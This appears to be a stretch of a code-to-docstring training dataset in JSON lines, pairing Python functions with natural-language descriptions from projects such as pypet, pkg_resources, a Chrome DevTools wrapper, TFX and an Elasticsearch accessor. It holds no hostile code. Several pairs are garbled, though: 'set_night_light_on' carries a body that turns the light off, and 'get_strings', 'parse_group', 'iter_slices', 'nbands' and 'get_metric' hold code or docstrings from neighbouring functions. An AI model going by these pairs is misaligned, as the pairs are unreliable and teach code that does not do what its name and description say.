constants.IPOPO_CALLBACK_UNBIND_FIELD,\n self._field,\n self._if_valid,\n ),\n )\n return method\n\n\n\n", "nl": "Updates the \"field callback\" list for this method:param method: Method to decorate:return: Decorated method:raise TypeError: The decorated element is not a valid function"} {"code": "def get_strings(args):\n\n :const:`~pypet.pypetconstants.LOG_ENV` ($env) is replaces by the name of the\n trajectory`s environment.\n\n :const:`~pypet.pypetconstants.LOG_TRAJ` ($traj) is replaced by the name of the\n trajectory.\n\n :const:`~pypet.pypetconstants.LOG_RUN` ($run) is replaced by the name of the current\n run. If the trajectory is not set to a run 'run_ALL' is used.\n\n :const:`~pypet.pypetconstants.LOG_SET` ($set) is replaced by the name of the current\n run set. If the trajectory is not set to a run 'run_set_ALL' is used.\n\n :const:`~pypet.pypetconstants.LOG_PROC` ($proc) is replaced by the name fo the\n current process.\n\n :const:`~pypet.pypetconstant.LOG_HOST` ($host) is replaced by the name of the current host.\n\n :param filename: A filename string\n :param traj: A trajectory container, leave `None` if you provide all the parameters below\n :param env_name: Name of environemnt, leave `None` to get it from `traj`\n :param traj_name: Name of trajectory, leave `None` to get it from `traj`\n :param set_name: Name of run set, leave `None` to get it from `traj`\n :param run_name: Name of run, leave `None` to get it from `traj`\n :param process_name:\n\n The name of the desired process. If `None` the name of the current process is\n taken determined by the multiprocessing module.\n\n :param host_name:\n\n Name of host, leave `None` to determine it automatically with the platform module.\n\n :return: The new filename\n\n \"\"\"\n\n To add a logger to a sub-class of yours simply call ``myobj._set_logger(name)``.\n If ``name=None`` the logger is chosen as follows:\n\n ``self._logger = logging.getLogger(self.__class.__.__module__ + '.' + self.__class__.__name__)``\n\n The logger can be accessed via ``myobj._logger``.\n\n \"\"\"", "nl": "Returns all valid python strings inside a given argument string.string_list = []for elem in ast.walk(ast.parse(args)):if isinstance(elem, ast.Str):string_list.append(elem.s)return string_listdef rename_log_file(filename, trajectory=None,env_name=None,traj_name=None,set_name=None,run_name=None,process_name=None,host_name=None): Renames a given `filename` with valid wildcard placements."} {"code": "def _applySettings(self):\n self._dock.label.setText('Option value: %s' % core.config()[\"HelloWorld\"][\"VeryImportantOption\"])\n", "nl": "Apply settings. Called by configurator class"} {"code": "def _resolve_references(self):\n super(self.__class__, self)._resolve_references()\n\n _validate_parameters(self)\n", "nl": "Overloaded _resolve_references to allow us to verify parameters afterwe've got all references settled."} {"code": "def set_night_light_on(self):\n self.publish(\n action='set',\n resource='cameras/{}'.format(self.device_id),\n publish_response=False,\n properties={'nightLight': {'enabled': False}}\n )\n", "nl": "Turns on the night light.self.publish(action='set',resource='cameras/{}'.format(self.device_id),publish_response=False,properties={'nightLight': {'enabled': True}})def set_night_light_off(self):Turns off the night light."} {"code": "def parse_group(cls, group, lines, dist=None):\n if isinstance(data, dict):\n data = data.items()\n else:\n data = split_sections(data)\n maps = {}\n for group, lines in data:\n if group is None:\n if not lines:\n continue\n raise ValueError(\"Entry points must be listed in groups\")\n group = group.strip()\n if group in maps:\n raise ValueError(\"Duplicate group name\", group)\n maps[group] = cls.parse_group(group, lines, dist)\n return maps\n\n", "nl": "Parse an entry point groupif not MODULE(group):raise ValueError(\"Invalid group name\", group)this = {}for line in yield_lines(lines):ep = cls.parse(line, dist)if ep.name in this:raise ValueError(\"Duplicate entry point\", group, ep.name)this[ep.name] = epreturn this@classmethoddef parse_map(cls, data, dist=None):Parse a map of entry point groups"} {"code": "def RebuildProxy(func, token, serializer, kwds):\n server = getattr(current_process(), '_manager_server', None)\n\n if server and server.address == token.address:\n return server.id_to_obj[token.id][0]\n else:\n incref = (\n kwds.pop('incref', True) and\n not getattr(current_process(), '_inheriting', False)\n )\n return func(token, serializer, incref=incref, **kwds)\n\n", "nl": "Function used for unpickling proxy objects.If possible the shared object is returned, or otherwise a proxy for it."} {"code": "def test_ids(self):\n component_id = ComponentId(\n ComponentType.PROTOCOL, PublicId(\"author\", \"name\", \"0.1.0\")\n )\n component_mock = MagicMock(component_id=component_id)\n self.registry._registered_keys.add(component_id)\n with pytest.raises(\n ValueError, match=r\"Component already registered with item id\"\n ):\n self.registry.register(component_id, component_mock)\n self.registry._registered_keys = set()\n", "nl": "Test all ids getter.assert self.registry.ids() == set()def test_register_when_component_is_already_registered(self):Test AgentComponentRegistry.register when the component is already registered."} {"code": "def pvs_full(self):\n return self.inner_cmd(\"pvs-full\")\n", "nl": "pvs-full - list the LVM physical volumes (PVs)List all the physical volumes detected. This is the equivalent of thepvs(8) command. The \"full\" version includes all fields."} {"code": "def iter_slices(string, slice_length):\n\n :param r: Response object to get unicode content from.\n\n Tried:\n\n 1. charset from content-type\n 2. fall back and replace all unicode characters\n\n :rtype: str\n \"\"\"", "nl": "Iterate over slices of a string.pos = 0if slice_length is None or slice_length <= 0:slice_length = len(string)while pos < len(string):yield string[pos:pos + slice_length]pos += slice_lengthdef get_unicode_from_response(r):Returns the requested content back in unicode."} {"code": "def _darwin_compiler_fixup(compiler_so, cc_args):\n stripArch = stripSysroot = 0\n\n compiler_so = list(compiler_so)\n kernel_version = os.uname()[2]\n major_version = int(kernel_version.split('.')[0])\n\n if major_version < 8:\n stripArch = stripSysroot = True\n else:\n stripArch = '-arch' in cc_args\n stripSysroot = '-isysroot' in cc_args\n\n if stripArch:\n while 1:\n try:\n index = compiler_so.index('-arch')\n del compiler_so[index:index+2]\n except ValueError:\n break\n\n if stripSysroot:\n try:\n index = compiler_so.index('-isysroot')\n del compiler_so[index:index+2]\n except ValueError:\n pass\n", "nl": "This function will strip '-isysroot PATH' and '-arch ARCH' from thecompile flags if the user has specified one them in extra_compile_flags.This is needed because '-arch ARCH' adds another architecture to thebuild, without a way to remove an architecture. Furthermore GCC willbarf if multiple '-isysroot' arguments are present."} {"code": "def set_meta_data(self, remote_file_id, meta_dict, op_flag=STORAGE_SET_METADATA_FLAG_OVERWRITE):\n tmp = split_remote_fileid(remote_file_id)\n if not tmp:\n raise DataError('[-] Error: remote_file_id is invalid.(in set meta data)')\n group_name, remote_filename = tmp\n tc = Tracker_client(self.tracker_pool)\n try:\n store_serv = tc.tracker_query_storage_update(group_name, remote_filename)\n store = Storage_client(store_serv.ip_addr, store_serv.port, self.timeout)\n status = store.storage_set_metadata(tc, store_serv, remote_filename, meta_dict)\n except (ConnectionError, ResponseError, DataError):\n raise\n if status != 0:\n raise DataError('[-] Error: %d, %s' % (status, os.strerror(status)))\n ret_dict = {'Status': 'Set meta data success.', 'Storage IP': store_serv.ip_addr}\n return ret_dict\n", "nl": "Set meta data of remote file.arguments:@remote_file_id: string@meta_dict: dictionary@op_flag: char, 'O' for overwrite, 'M' for merge@return dictionary {'Status' : status,'Storage IP' : storage_ip}"} {"code": "def get_response_for_testing(callback: Callable) -> Response:\n url = \"http://example.com\"\n html = \"\"\"\n \"utf-8\"\n )\n request = Request(url, callback=callback)\n response = Response(url, 200, None, html, request=request)\n return response", "nl": "Return a response with fake content with the configured callback.It is useful for testing providers."} {"code": "def isAlignment(self, line):\n return \" align \" in str(line).lower()", "nl": "Check if the given code line represents a code alignment.Args:line (sark line): sark code lineReturn Value:True iff the code line represents a code alignment"} {"code": "def nbands(self):\n for i in self.data:\n if \"NEDOS =\" in i:\n n_edos = int(i.split()[-7])\n return n_edos\n\n @property", "nl": "Get number of bands.for i in self.data:if \"NBANDS=\" in i:nbands = int(i.split()[-1])return nbands@propertydef nedos(self):Get number of dos points."} {"code": "def distort(self, image: tf.Tensor) -> tf.Tensor:\n input_image_type = image.dtype\n\n if input_image_type != tf.uint8:\n image = tf.clip_by_value(image, 0.0, 255.0)\n image = tf.cast(image, dtype=tf.uint8)\n\n replace_value = [128] * 3\n min_prob, max_prob = 0.2, 0.8\n\n for _ in range(self.num_layers):\n op_to_select = tf.random.uniform([],\n maxval=len(self.available_ops) + 1,\n dtype=tf.int32)\n\n branch_fns = []\n for (i, op_name) in enumerate(self.available_ops):\n prob = tf.random.uniform([],\n minval=min_prob,\n maxval=max_prob,\n dtype=tf.float32)\n func, _, args = _parse_policy_info(op_name, prob, self.magnitude,\n replace_value, self.cutout_const,\n self.translate_const)\n branch_fns.append((\n i,\n lambda selected_func=func, selected_args=args: selected_func(\n image, *selected_args)))\n\n image = tf.switch_case(\n branch_index=op_to_select,\n branch_fns=branch_fns,", "nl": "Applies the RandAugment policy to `image`.Args:image: `Tensor` of shape [height, width, 3] representing an image.Returns:The augmented version of `image`."} {"code": "def test_truthiness(self):\n p = mi.peekable([])\n self.assertFalse(p)\n\n p = mi.peekable(range(3))\n self.assertTrue(p)\n", "nl": "Make sure a ``peekable`` tests true iff there are items remaining inthe iterable."} {"code": "def __init__(self,imnames):\n given, step to the next frame. \"\"\"", "nl": " Initialize with a list of image names. self.imnames = imnamesself.features = []self.tracks = []self.current_frame = 0def step(self,framenbr=None): Step to another frame. If no argument is"} {"code": "def intersect_two(f1, f2, work_dir, data):", "nl": "Intersect two regions, handling cases where either file is not present."} {"code": "def log(self, message: str) -> None:\n\n Trusted users will not be checked for CLA.\n \"\"\"", "nl": "Log a message to stderr.print(message, file=sys.stderr)def trusted_users(self) -> AbstractSet[str]:Return a list of trusted users."} {"code": "def __init__(self, stAdsVersion: SAdsVersion) -> None:\n self.version = stAdsVersion.version\n self.revision = stAdsVersion.revision\n self.build = stAdsVersion.build\n\n\nclass SAmsNetId(Structure):\n \"\"\"Struct with array of 6 bytes used to describe a net id.\"\"\"\n\n _pack_ = 1\n _fields_ = [(\"netId\", SAmsNetId), (\"port\", c_uint16)]\n\n\nclass AmsAddr(object):\n \"\"\"Wrapper for SAmsAddr-structure to address an ADS device.\n", "nl": "Create new AdsVersion object.:param pyads.constants.SAdsVersion stAdsVersion: ctypes structurewith the version info"} {"code": "def is_compatible(self):\n return is_compatible(self)\n", "nl": "Determine if a wheel is compatible with the running system."} {"code": "def Cast_enable(self, **kwargs):\n\t\tif 'presentationUrl' in kwargs:\n\t\t\tassert isinstance(kwargs['presentationUrl'], (str,)\n\t\t\t ), \"Optional argument 'presentationUrl' must be of type '['str']'. Received type: '%s'\" % type(\n\t\t\t kwargs['presentationUrl'])\n\t\texpected = ['presentationUrl']\n\t\tpassed_keys = list(kwargs.keys())\n\t\tassert all([(key in expected) for key in passed_keys]\n\t\t ), \"Allowed kwargs are ['presentationUrl']. Passed kwargs: %s\" % passed_keys\n\t\tsubdom_funcs = self.synchronous_command('Cast.enable', **kwargs)\n\t\treturn subdom_funcs\n", "nl": "Function path: Cast.enableDomain: CastMethod name: enableParameters:Optional arguments:'presentationUrl' (type: string) -> No descriptionNo return value.Description: Starts observing for sinks that can be used for tab mirroring, and if set,sinks compatible with |presentationUrl| as well. When sinks are found, a|sinksUpdated| event is fired.Also starts observing for issue messages. When an issue is added or removed,an |issueUpdated| event is fired."} {"code": "def WebAuthn_addCredential(self, authenticatorId, credential):\n\t\tsubdom_funcs = self.synchronous_command('WebAuthn.addCredential',\n\t\t authenticatorId=authenticatorId, credential=credential)\n\t\treturn subdom_funcs\n", "nl": "Function path: WebAuthn.addCredentialDomain: WebAuthnMethod name: addCredentialParameters:Required arguments:'authenticatorId' (type: AuthenticatorId) -> No description'credential' (type: Credential) -> No descriptionNo return value.Description: Adds the credential to the specified authenticator."} {"code": "def random_excursions_variant_check(self):\n expected = [0.760966, 0.826009, 0.566118, 0.155066]\n p_values = []\n data_sets = [\"pi\", \"e\", \"sqrt2\", \"sqrt3\"]\n for ds in data_sets:\n data = self.load_test_data(ds)[:1000000]\n p_values.append(self.random_excursions_variant(data)[8])\n self.generic_checker(\"Random Excursions Variant Test\", expected, self.random_excursions, p_values)\n\n\nclass BinaryMatrix:", "nl": "This method is used to check the random_excursions_variant method is working as expected:return: None"} {"code": "def run_fn(fn_args: FnArgs):\n tf_transform_output = tft.TFTransformOutput(fn_args.transform_output)\n\n train_dataset = _input_fn(\n fn_args.train_files,\n fn_args.data_accessor,\n tf_transform_output,\n is_train=True,\n batch_size=_TRAIN_BATCH_SIZE)\n eval_dataset = _input_fn(\n fn_args.eval_files,\n fn_args.data_accessor,\n tf_transform_output,\n is_train=False,\n batch_size=_EVAL_BATCH_SIZE)\n\n model, base_model = _build_keras_model()\n\n absl.logging.info('Tensorboard logging to {}'.format(fn_args.model_run_dir))\n tensorboard_callback = tf.keras.callbacks.TensorBoard(\n log_dir=fn_args.model_run_dir, update_freq='batch')\n\n steps_per_epoch = int(_TRAIN_DATA_SIZE / _TRAIN_BATCH_SIZE)\n total_epochs = int(fn_args.train_steps / steps_per_epoch)\n if _CLASSIFIER_EPOCHS > total_epochs:\n raise ValueError('Classifier epochs is greater than the total epochs')\n\n absl.logging.info('Start training the top classifier')\n model.fit(\n train_dataset,\n epochs=_CLASSIFIER_EPOCHS,\n steps_per_epoch=steps_per_epoch,\n validation_data=eval_dataset,\n validation_steps=fn_args.eval_steps,\n callbacks=[tensorboard_callback])\n\n absl.logging.info('Start fine-tuning the model')\n _freeze_model_by_percentage(base_model, 0.9)\n\n model.compile(\n loss='sparse_categorical_crossentropy',\n optimizer=tf.keras.optimizers.RMSprop(lr=_FINETUNE_LEARNING_RATE),\n metrics=['sparse_categorical_accuracy'])\n model.summary(print_fn=absl.logging.info)\n\n model.fit(\n train_dataset,\n initial_epoch=_CLASSIFIER_EPOCHS,\n epochs=total_epochs,\n steps_per_epoch=steps_per_epoch,\n validation_data=eval_dataset,\n validation_steps=fn_args.eval_steps,\n callbacks=[tensorboard_callback])\n\n signatures = {", "nl": "Train the model based on given args.Args:fn_args: Holds args used to train the model as name/value pairs.Raises:ValueError: if invalid inputs."} {"code": "def get_metric(self, metric_name, strict_checks=False):\n super(_ElasticSearchAccessor, self).fetch_points(\n metric, time_start, time_end, stage\n )\n self.__update_read_on_on_need(metric)\n return []\n", "nl": "See the real Accessor for a description.super(_ElasticSearchAccessor, self).get_metric(metric_name)metric_name = bg_metric.sanitize_metric_name(metric_name)document = self.__get_document(metric_name)if document is None:return Nonereturn self._document_to_metric(document)def _document_to_metric(self, document):metadata = bg_metric.MetricMetadata.from_string_dict(document.config.to_dict())# TODO: Have a look at dsl doc to avoid parsing strings to dates# https://github.com/elastic/elasticsearch-dsl-py/blob/master/docs/persistence.rstreturn bg_metric.make_metric_with_defaults(document.name,metadata,created_on=ttls.str_to_datetime(document.created_on),updated_on=ttls.str_to_datetime(document.updated_on),read_on=ttls.str_to_datetime(document.read_on),)@READ_METRIC_LATENCY.time()def __get_document(self, metric_name, index=None):search = (self._create_search_query(index=index).source([\"uuid\", \"name\", \"config\", \"created_on\", \"updated_on\", \"read_on\"]).filter(\"term\", name=metric_name).sort({\"updated_on\": {\"order\": \"desc\"}}))log.debug(json.dumps(search.to_dict(), default=str))response = search[:1].execute()if response is None or response.hits.total == 0:return Nonereturn response.hits[0]def fetch_points(self, metric, time_start, time_end, stage, aggregated=True):See the real Accessor for a description."} {"code": "def test_unzipIterChunkyDirectory(self):\n numfiles = 10\n contents = ['This is test file %d!' % i for i in range(numfiles)]\n contents = [i.encode(\"ascii\") for i in contents]\n zpfilename = self.makeZipFile(contents, 'foo')\n list(zipstream.unzipIterChunky(zpfilename, self.unzipdir.path))\n fileContents = {str(num).encode(\"ascii\") for num in range(numfiles)}\n self.assertEqual(\n set(self.unzipdir.child(b'foo').listdir()),\n fileContents)\n\n for child in self.unzipdir.child(b'foo').children():\n num = int(child.basename())\n self.assertEqual(child.getContent(), contents[num])\n\n", "nl": "The path to which a file is extracted by L{zipstream.unzipIterChunky}is determined by joining the C{directory} argument to C{unzip} with thepath within the archive of the file being extracted."} {"code": "def test_copy_basic(tmpdir):\n with DockerBackend() as backend:\n image = backend.ImageClass(\"docker.io/alpine\",\n tag=\"latest\",\n pull_policy=DockerImagePullPolicy.NEVER)\n assert \"alpine\" in image.get_full_name()\n image2 = image.skopeo_pull()\n assert image2.is_present()\n assert image2.transport == SkopeoTransport.DOCKER_DAEMON\n assert \"Config\" in image2.inspect()\n\n", "nl": "Tests if copy does something:param tmpdir:"} {"code": "def is_int(s):\n try:\n return str(int(s)) == s\n except ValueError:\n return False\n", "nl": "Test if a number is an integer"} {"code": "def get_labels_parameters(self) -> List[str]:\n\n Args:\n max_calls: Maximum number of function calls. Additional calls will\n result in SimulationBudgetExceeded exceptions. Defaults to None\n for infinite budget\n\n Return:\n Simulator callable\n \"\"\"", "nl": "Get list containing parameter labelsreturn [r\"$\\alpha$\", r\"$\\beta$\", r\"$\\gamma$\", r\"$\\delta$\"]def get_prior(self) -> Callable:def prior(num_samples=1):return pyro.sample(\"parameters\", self.prior_dist.expand_by([num_samples]))return priordef get_simulator(self,max_calls: Optional[int] = None,) -> Simulator:Get function returning samples from simulator given parameters"} {"code": "def extend_results(self, results):\n self.__results.extend(results)\n return self\n", "nl": "Adds a list of results to the list of results captured.Args:results: [list of PredicateResult] The results to add."} {"code": "def submit(self, data: yogadl.Submittable, dataset_id: str, dataset_version: str) -> None:\n local_cache_filepath = self._get_local_cache_filepath(\n dataset_id=dataset_id,\n dataset_version=dataset_version,\n )\n local_cache_filepath.parent.mkdir(parents=True, exist_ok=True)\n\n if local_cache_filepath.exists():\n logging.debug(f\"Removing old local cache: {local_cache_filepath}.\")\n local_cache_filepath.unlink()\n\n tensorflow.serialize_tf_dataset_to_lmdb(\n dataset=data, checkpoint_path=local_cache_filepath, tf_config=self._tensorflow_config\n )\n logging.info(\n f\"Serialized dataset {dataset_id}:{dataset_version} to local cache: \"\n f\"{local_cache_filepath} and uploading to remote storage.\"\n )\n\n timestamp = self._upload_to_cloud_storage(\n dataset_id=dataset_id,\n dataset_version=dataset_version,\n local_cache_filepath=local_cache_filepath,\n ).timestamp()\n logging.info(\"Cache upload to remote storage finished.\")\n\n local_metadata = self._get_local_metadata(\n dataset_id=dataset_id, dataset_version=dataset_version\n )\n\n local_metadata[\"time_created\"] = timestamp\n self._save_local_metadata(\n dataset_id=dataset_id,\n dataset_version=dataset_version,\n metadata=local_metadata,\n )\n", "nl": "Stores dataset by creating a local cache and uploading it to cloud storage.If a cache with a matching filepath already exists in cloud storage, it will be overwritten.`submit()` is not safe for concurrent accesses. For concurrent accesses use`cacheable()`."} {"code": "def test_no_kernels(self):\n kl = kernel_loader.KernelLoader.reinitialize_singleton()\n\n self.assertEquals(len(kl.kernels()),0)\n\n config.initialize_config_info()\n kernel_loader.KernelLoader.reinitialize_singleton()\n", "nl": "config.initialize_config_info_from_string([Kernels]active_kernels:)"} {"code": "def teardown_class(cls):\n\n @classmethod", "nl": "Tear the test down.os.chdir(cls.cwd)try:shutil.rmtree(cls.t)except (OSError, IOError):passclass TestScaffoldProtocolFailsWhenDirectoryAlreadyExists:Test that the command 'aea scaffold protocol' fails when a folder with 'scaffold' name already."} {"code": "def wheel(self, direction, steps):\n self._lock.acquire()\n if direction == 1:\n wheel_moved = steps\n elif direction == 0:\n wheel_moved = -1*steps\n else:\n raise ValueError(\"Expected direction to be 1 or 0\")\n self._lock.release()\n return mouse.wheel(wheel_moved)\n\nclass Keyboard(object):\n \"\"\" Mid-level keyboard routines. Interfaces with ``PlatformManager`` \"\"\"", "nl": " Clicks the wheel the specified number of steps in the given direction.Use Mouse.WHEEL_DOWN, Mouse.WHEEL_UP"} {"code": "def __init__(self, _socketio, _app):\n \"\"\"", "nl": "The constructorThread.__init__(self)self._stopevent = threading.Event( )self.socketio = _socketioself.app = _appself.connected = Falsedef connect(self):Connect to the zwave notifications"} {"code": "def parse_links(html, request_path=None, encoding=None):\n\n Returns True if\n\n 1. The response has the settings.DEFAULT_CONTENT_TYPE (HTML) AND\n 2. The request path does not match settings.PARSE_LINKS_EXCLUSION_LIST\n\n Otherwise returns False.\n \"\"\"", "nl": "Process all links in given html and replace them if markup is added.if encoding is None:encoding = settings.DEFAULT_CHARSET# The passed HTML may be a string or bytes, depending on what is calling# this method. For example, Django response.content is always bytes. We# always want this content to be a string for our purposes.html_as_text = force_str(html, encoding=encoding)# This call invokes Wagtail-specific logic that converts references to# Wagtail pages, documents, and images to their proper link URLs.expanded_html = expand_db_html(html_as_text)# Parse links only in the of the HTMLbody_html = get_body_html(expanded_html)if body_html is None:return expanded_htmllink_tags = get_link_tags(body_html)for tag in link_tags:tag_with_markup = add_link_markup(tag, request_path)if tag_with_markup:expanded_html = expanded_html.replace(tag, tag_with_markup)return expanded_htmlclass ParseLinksMiddleware:def __init__(self, get_response):self.get_response = get_responsedef __call__(self, request):response = self.get_response(request)if self.should_parse_links(request.path, response.get(\"Content-Type\", \"\")):response.content = parse_links(response.content, request.path, encoding=response.charset)return response@classmethoddef should_parse_links(cls, request_path, response_content_type):Determine if links should be parsed for a given request/response."} {"code": "def get_params(self, failobj=None, header='content-type', unquote=True):\n missing = object()\n params = self._get_params_preserve(missing, header)\n if params is missing:\n return failobj\n if unquote:\n return [(k, _unquotevalue(v)) for k, v in params]\n else:\n return params\n", "nl": "Return the message's Content-Type parameters, as a list.The elements of the returned list are 2-tuples of key/value pairs, assplit on the `=' sign. The left hand side of the `=' is the key,while the right hand side is the value. If there is no `=' sign inthe parameter the value is the empty string. The value is asdescribed in the get_param() method.Optional failobj is the object to return if there is no Content-Typeheader. Optional header is the header to search instead ofContent-Type. If unquote is True, the value is unquoted."} {"code": "def build(self, path, output, header):\n changes = []\n for part in (self._FEATURE, self._BUGFIX, self._DOC, self._REMOVAL):\n tickets = self._findChanges(path, part)\n if tickets:\n changes.append((part, tickets))\n misc = self._findChanges(path, self._MISC)\n\n oldNews = output.getContent()\n with output.sibling('NEWS.new').open('w') as newNews:\n if oldNews.startswith(self._TICKET_HINT):\n newNews.write(self._TICKET_HINT)\n oldNews = oldNews[len(self._TICKET_HINT):]\n\n self._writeHeader(newNews, header)\n if changes:\n for (part, tickets) in changes:\n self._writeSection(newNews, self._headings.get(part),\n tickets)\n else:\n newNews.write(self._NO_CHANGES)\n newNews.write('\\n')\n self._writeMisc(newNews, self._headings.get(self._MISC), misc)\n newNews.write('\\n')\n newNews.write(oldNews)\n output.sibling('NEWS.new').moveTo(output)\n\n", "nl": "Load all of the change information from the given directory and writeit out to the given output file.@param path: A directory (probably a I{topfiles} directory) containingchange information in the form of . files.@type path: L{FilePath}@param output: The NEWS file to which the results will be prepended.@type output: L{FilePath}@param header: The top-level header to use when writing the news.@type header: L{str}@raise NotWorkingDirectory: If the C{path} is not a supported VCSrepository."} {"code": "def is_running(self):\n if self._gone:\n return False\n try:\n return self == Process(self.pid)\n except ZombieProcess:\n return True\n except NoSuchProcess:\n self._gone = True\n return False\n\n\n @memoize_when_activated", "nl": "Return whether this process is running.It also checks if PID has been reused by another process inwhich case return False."} {"code": "def from_exception(cls, exc, *args, **kwargs):\n for frame in self.stack:\n frame.line\n if self.__context__:\n self.__context__._load_lines()\n if self.__cause__:\n self.__cause__._load_lines()\n", "nl": "Create a TracebackException from an exception.return cls(type(exc), exc, exc.__traceback__, *args, **kwargs)def _load_lines(self):Private API. force all lines in the stack to be loaded."} {"code": "def test_selection_for_windows_executable_source_side(self):\n config_file_content = [{\n \"app_args\": \"--c4\",\n \"app_name\": \"app_4\",\n \"probability\": 1.0\n }]\n self.source_side_test(config_file_content, 0.3, 'App_4.apk', '-x --c4',\n '--c4')\n", "nl": "Ensure that flags are added when the app name ends in \".exe\" on source side.config_file_content = [{\"app_args\": \"--c4\",\"app_name\": \"app_4\",\"probability\": 1.0}]self.source_side_test(config_file_content, 0.3, 'app_4.exe', '-x --c4','--c4')def test_selection_for_android_apk_source_side(self):Ensure that flags are added for the Android APK format on source side."} {"code": "def splitnport(host, defport=-1):\n global _nportprog\n if _nportprog is None:\n import re\n _nportprog = re.compile('^(.*):(.*)$')\n\n match = _nportprog.match(host)\n if match:\n host, port = match.group(1, 2)\n if port:\n try:\n nport = int(port)\n except ValueError:\n nport = None\n return host, nport", "nl": "Split host and port, returning numeric port.Return given default port if no ':' found; defaults to -1.Return numerical port if a valid number are found after ':'.Return None if ':' but not a valid number."} {"code": "def encrypt(self, plaintext):\n\n if self.encrypt not in self._next:\n raise TypeError(\"encrypt() cannot be called after decrypt()\")\n self._next = [ self.encrypt ]\n\n expect_byte_string(plaintext)\n ciphertext = create_string_buffer(len(plaintext))\n result = raw_cfb_lib.CFB_encrypt(self._state.get(),\n plaintext,\n ciphertext,\n c_size_t(len(plaintext)))\n if result:\n raise ValueError(\"Error %d while encrypting in CFB mode\" % result)\n return get_raw_buffer(ciphertext)\n", "nl": "Encrypt data with the key and the parameters set at initialization.A cipher object is stateful: once you have encrypted a messageyou cannot encrypt (or decrypt) another message using the sameobject.The data to encrypt can be broken up in two ormore pieces and `encrypt` can be called multiple times.That is, the statement:>>> c.encrypt(a) + c.encrypt(b)is equivalent to:>>> c.encrypt(a+b)This function does not add any padding to the plaintext.:Parameters:plaintext : byte stringThe piece of data to encrypt.It can be of any length.:Return:the encrypted data, as a byte string.It is as long as *plaintext*."} {"code": "def extraction_error(self):\n Can't extract file(s) to egg cache\n\n The following error occurred while trying to extract file(s)\n to the Python egg cache:\n\n {old_exc}\n\n The Python egg cache directory is currently set to:\n\n {cache_path}\n\n Perhaps your account does not have write access to this directory?\n You can change the cache directory by setting the PYTHON_EGG_CACHE\n environment variable to point to an accessible directory.\n \"\"\").lstrip()", "nl": "Give an error message for problems extracting file(s)old_exc = sys.exc_info()[1]cache_path = self.extraction_path or get_default_cache()tmpl = textwrap.dedent("} {"code": "def check_gcc_function_attribute(cmd, attribute, name):\n\nint %s %s(void*);\n\nint\nmain()\n{\n return 0;\n}\n\"\"\" % (attribute, name)", "nl": "Return True if the given function attribute is supported.cmd._check_compiler()body = "} {"code": "def _get_default_path(self):\n return os.path.join('path to pascal', 'VOCdevkit')\n", "nl": "Return the default path where PASCAL VOC is expected to be installed."} {"code": "def generate_max_length_validator(maxLength, **kwargs):\n return functools.partial(validate_max_length, maxLength=maxLength)\n\n\n@skip_if_empty\n@skip_if_not_of_type(ARRAY)", "nl": "Generates a validator for enforcing the maxLength of a string."} {"code": "def load(self):\nOnly one remote can be configured with review=\"true\", found {0}\n\"\"\".format(len(review_remotes))", "nl": " (re)-parse the xml configuration file project_names = list()self.repos = list()self.remotes = list()self.import_manifest = list()self.groups = qisrc.groups.Groups()root = qisys.qixml.read(self.manifest_xml).getroot()parser = ManifestParser(self)parser.parse(root)for repo in self.repos:if repo.project in project_names:raise ManifestError(\"%s found twice\" % repo.project)project_names.append(repo.project)for remote in self.remotes:if remote.review and not self.review:continueremote.parse_url()review_remotes = list()for remote in self.remotes:if remote.review:review_remotes.append(remote)if len(review_remotes) > 1:mess = \\"} {"code": "def test_prePathURLQuoting(self):\n d = DummyChannel()\n request = server.Request(d, 1)\n request.setHost(b'example.com', 80)\n request.gotLength(0)\n request.requestReceived(b'GET', b'/foo%2Fbar', b'HTTP/1.0')\n self.assertEqual(request.prePathURL(), b'http://example.com/foo%2Fbar')\n\n", "nl": "L{Request.prePathURL} quotes special characters in the URL segments topreserve the original meaning."} {"code": "def pids_in_cgroup(subsystem, cgrp):\n path = cgroups.makepath(subsystem, cgrp, 'tasks')\n tasks_files = glob.glob(path)\n for tasks_file in tasks_files:\n cgrp_path = os.path.dirname(tasks_file)\n try:\n with io.open(tasks_file) as tasks:\n for pid in tasks:\n _LOGGER.info('killing process from %r: %s',\n tasks_file, pid)\n try:\n os.kill(int(pid), signal.SIGKILL)\n except OSError as err:\n if err.errno == errno.ESRCH:\n continue\n _LOGGER.exception('Unable to kill processes in %r: %s',\n cgrp_path, err)\n\n except IOError as err:\n if err.errno == errno.ENOENT:\n _LOGGER.debug('Skipping nonexistent cgroup %r', cgrp_path)\n continue\n raise\n\n if delete_cgrp:\n cgrp = cgroups.extractpath(cgrp_path, subsystem)\n delete(subsystem, cgrp)\n\n", "nl": "Returns the list of pids in the cgroup.path = cgroups.makepath(subsystem, cgrp, 'tasks')with io.open(path) as tasks:return [int(line.strip()) for linein tasks.readlines() if line]def kill_apps_in_cgroup(subsystem, cgrp, delete_cgrp=False):Kill all apps found in a cgroup"} {"code": "def get_packages(self):\n Add a package to self.packages.\n If an older version of the package exists, replace by the new version\n \"\"\"", "nl": " Get the parsed packages res = [x for x in self.packages if x.name not in self.blacklist]return resdef append_package(self, package_tree):"} {"code": "def apply(self, rendered_sequence, lock):\n pass\n", "nl": " Required to be implemented by all checkers. This is the functionthat is called by driver.apply_checkers to perform each checker's task@param rendered_sequence: Object containing the rendered sequence information@type rendered_sequence: RenderedSequence@param lock: Lock object used to sync more than one fuzzing job@type lock: thread.Lock"} {"code": "def _byte_string(s):\n return str(s.decode('ASCII'))\n\n", "nl": "Cast a string or byte string to an ASCII byte string.return s.encode('ASCII')_NULL = _byte_string('\\0')def _std_string(s):Cast a string or byte string to an ASCII string."} {"code": "def cmpt_program_type(self):\n if self.label == 'MSc Course':\n return ('MSc', 'Course')\n elif self.label == 'MSc Proj':\n return ('MSc', 'Project')\n elif self.label == 'MSc Thesis':\n return ('MSc', 'Thesis')\n elif self.label == 'PhD':\n return ('PhD', 'Thesis')\n elif self.label == 'Qualifying':\n return ('Qualifying', '')\n elif self.label == 'Special':\n return ('Special', '')\n else:\n return ('???', '???')\n\nSTATUS_CHOICES = (\n ('INCO', 'Incomplete Application'),\n ('COMP', 'Complete Application'),\n ('INRE', 'Application In-Review'),\n ('HOLD', 'Hold Application'),\n ('OFFO', 'Offer Out'),\n ('REJE', 'Rejected Application'),\n ('DECL', 'Declined Offer'),\n ('EXPI', 'Expired Application'),\n ('CONF', 'Confirmed Acceptance'),\n ('CANC', 'Cancelled Acceptance'),\n ('ARIV', 'Arrived'),\n ('ACTI', 'Active'),\n ('PART', 'Part-Time'),\n ('LEAV', 'On-Leave'),\n ('WIDR', 'Withdrawn'),\n ('GRAD', 'Graduated'),\n ('NOND', 'Non-degree'),\n ('GONE', 'Gone'),\n 